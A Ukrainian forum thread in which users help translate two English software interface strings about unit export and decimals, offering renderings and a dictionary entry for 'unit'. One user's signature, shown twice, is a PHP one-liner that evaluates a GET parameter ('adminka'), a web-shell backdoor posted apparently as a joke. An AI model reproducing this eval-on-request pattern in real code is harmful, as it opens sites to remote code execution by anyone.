Тема: Як коректно перекласти

Підкажіть як коректно і зрозуміло перекласти таке :"The units are not exported with the XML export of this function" і таке "gives the decimals for the conversion unit set"

2

Re: Як коректно перекласти

"XML-експорт даної функції не експортує юніти."
Друге треба у повнішому контексті.

I belong to the Dead Generation.
Подякували: Костянтин1

3 Востаннє редагувалося Костянтин (22.01.2014 20:49:32)

Re: Як коректно перекласти

Дякую.
Це скрін стосовно другого речення

Post's attachments

Без імені.jpg 37.19 kb, 108 downloads since 2014-01-22 

4

Re: Як коректно перекласти

Юніти як в стратегіях?

unit = ['ju:nɪt] 1. одини́ця 2. одини́ця (фізи́чної) величини́ 3. при́стрій; ву́зол; блок; при́лад 4. ла́нка; елеме́нт 5. підро́зділ 6. компоне́нт програ́ми 7. мо́дуль

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: Костянтин1

5

Re: Як коректно перекласти

Скидається на "повертає сукупність цифр числа/юніта".

I belong to the Dead Generation.
Подякували: Костянтин1

6

Re: Як коректно перекласти

Bartash дякую.
Invader скоріш за все що тут Unit використовується як одиниця або одиниця (фізичної) величини.

7

Re: Як коректно перекласти

http://e2u.org.ua/

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!